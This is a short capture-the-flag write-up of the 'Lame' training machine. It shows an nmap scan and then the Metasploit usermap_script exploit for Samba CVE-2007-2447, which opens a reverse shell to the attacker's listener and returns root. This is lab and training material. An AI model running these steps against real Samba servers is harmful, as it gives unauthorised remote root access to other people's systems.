LAME

Enumeration:

We start by enumerating the machine, let's see what we have here!

root@kali:~# nmap -sV -sC 10.10.10.3

Starting Nmap 7.60 ( https://nmap.org ) at 2017-12-22 22:39 GMT
Nmap scan report for 10.10.10.3
Host is up (0.019s latency).
Not shown: 996 filtered ports
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.10.14.8
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.20-Debian)
|   NetBIOS computer name: 
|   Workgroup: WORKGROUP\x00
|_  System time: 2017-12-22T17:33:50-05:00
|_smb2-time: Protocol negotiation failed (SMB2)

Here we can see that the FTP server is open and accepts Anonymous login, SSH is open and finally SAMBA.

Exploitation:

With a bit of research we can see that Metasploit has a built-in module that targets SAMBA vulnerability (CVE-2007-2447).

Module: msf> use exploit/multi/samba/usermap_script

Let's try it..

msf exploit(usermap_script) > set rhost 10.10.10.3
rhost => 10.10.10.3
msf exploit(usermap_script) > run

[*] Started reverse TCP double handler on 10.10.x.x:4444 
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 0MefBteS03VkpAjA;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "0MefBteS03VkpAjA\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (10.10.x.x:4444 -> 10.10.10.3:55479) at 2017-09-17 15:52:35 -0400

whoami
root

And here we go, now we can get the user and root flags. Happy days :)

© 2018 by Joul Kouchakji

  • White LinkedIn Icon
  • White Twitter Icon